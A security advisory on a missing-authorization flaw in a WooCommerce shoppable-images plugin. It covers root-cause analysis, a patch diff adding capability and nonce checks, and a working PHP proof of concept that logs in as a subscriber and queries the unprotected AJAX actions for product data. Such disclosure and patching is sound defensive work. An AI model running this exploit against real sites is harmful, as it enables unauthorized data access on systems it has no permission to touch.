Atomic Edge analysis of CVE-2026-57649:
This vulnerability involves a missing authorization check in the Shoppable Images (Lookbook) for WooCommerce plugin for WordPress, affecting versions up to and including 1.3. An authenticated attacker with subscriber-level access can exploit missing capability checks in three AJAX handlers to retrieve WooCommerce product data without proper authorization. The CVSS score is 4.3 (Medium).
Root Cause:
The vulnerable code resides in /code/controllers/class-admin-controller.php. Three functions lack capability checks before executing: get_wc_products_by_ids() (line 60), get_wc_product_by_id() (line 90), and get_wc_product_by_name() (line 99). Each function processes GET/POST parameters and returns product data via AJAX responses. The $this->capability property likely expects a capability like ‘manage_options’ or ‘edit_posts’, but no function-level check existed prior to the patch.
Exploitation:
An attacker with subscriber-level access can craft AJAX requests to wp-admin/admin-ajax.php with the appropriate action parameters. For example, calling ‘get_wc_product_by_id’ with a product ID will return the product name, price, and other details. Similarly, ‘get_wc_products_by_ids’ accepts an ‘ids’ array and returns multiple products, while ‘get_wc_product_by_name’ accepts a ‘q’ parameter for searching by name. The nonce and capability checks were absent, allowing unauthenticated (or low-privilege) access.
Patch Analysis:
The patch adds capability and nonce verification in all three functions. Each function now calls current_user_can($this->capability) to check the user’s role/permission and wp_verify_nonce() to validate a ‘nonce’ parameter against a fixed nonce ‘sinonce’. If either check fails, the function returns a JSON error. The plugin version is updated from 1.3 to 1.3.1.
Impact:
Successful exploitation allows an authenticated subscriber to enumerate WooCommerce product information, including product names, IDs, prices, descriptions, and potentially other sensitive metadata. This data exposure could aid in further attacks, such as targeted price manipulation or product-specific social engineering, but does not directly lead to remote code execution or privilege escalation.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/mabel-shoppable-images-lite/code/controllers/class-admin-controller.php
+++ b/mabel-shoppable-images-lite/code/controllers/class-admin-controller.php
@@ -58,6 +58,10 @@
public function get_wc_products_by_ids() {
+ if(!current_user_can($this->capability) || !isset($_REQUEST['nonce']) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'sinonce' ) ) {
+ wp_send_json_error();
+ }
+
if( empty( $_GET['ids'] ) ) {
echo json_encode( [] );
wp_die();
@@ -87,6 +91,10 @@
}
public function get_wc_product_by_id() {
+ if(!current_user_can($this->capability) || !isset($_REQUEST['nonce']) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'sinonce' ) ) {
+ wp_send_json_error();
+ }
+
if ( ! empty( $_GET['id'] ) ) {
echo json_encode( $this->get_wc_product( sanitize_text_field( wp_unslash( $_GET['id'] ) ) ) );
}
@@ -96,6 +104,10 @@
public function get_wc_product_by_name() {
+ if(!current_user_can($this->capability) || !isset($_REQUEST['nonce']) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'sinonce' ) ) {
+ wp_send_json_error();
+ }
+
$term = isset( $_GET['q'] ) ? sanitize_text_field( wp_unslash( $_GET['q'] ) ) : '';
if( empty( $term ) ) wp_send_json( [] );
--- a/mabel-shoppable-images-lite/mabel-shoppable-images-lite.php
+++ b/mabel-shoppable-images-lite/mabel-shoppable-images-lite.php
@@ -3,12 +3,12 @@
* Plugin Name: Shoppable Images (Lookbook) for WooCommerce
* Plugin URI: https://studiowombat.com/plugin/shoppable-images/?utm_source=sifree&utm_medium=plugin&utm_campaign=plugins
* Description: Easily add 'shoppable images' (images with hotspots) to your website or store.
- * Version: 1.3
+ * Version: 1.3.1
* Author: Studio Wombat
* Author URI: https://studiowombat.com/?utm_source=sifree&utm_medium=plugin&utm_campaign=plugins
* Text Domain: mabel-shoppable-images-lite
* WC requires at least: 3.6.0
- * WC tested up to: 10.3
+ * WC tested up to: 10.9
* License: GPLv2 or later
*/
@@ -49,7 +49,7 @@
plugin_dir_url( __FILE__ ),
plugin_basename( __FILE__ ),
'Shoppable Images Lite',
- '1.3',
+ '1.3.1',
'mb-si-lite-settings'
);
$plugin->run();
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57649 - Shoppable Images (Lookbook) for WooCommerce <= 1.3 - Missing Authorization
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to target site
$username = 'subscriber'; // Provide valid subscriber credentials
$password = 'password'; // Provide valid subscriber password
// Step 1: Login to WordPress
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Exploit the missing authorization to get product by ID
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'get_wc_product_by_id',
'id' => 1 // Replace with product ID to fetch
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Product data for ID 1: " . print_r(json_decode($response, true), true) . "n";
// Step 3: Exploit product search by name
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'get_wc_product_by_name',
'q' => 'test' // Search term
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Product search results for 'test': " . print_r(json_decode($response, true), true) . "n";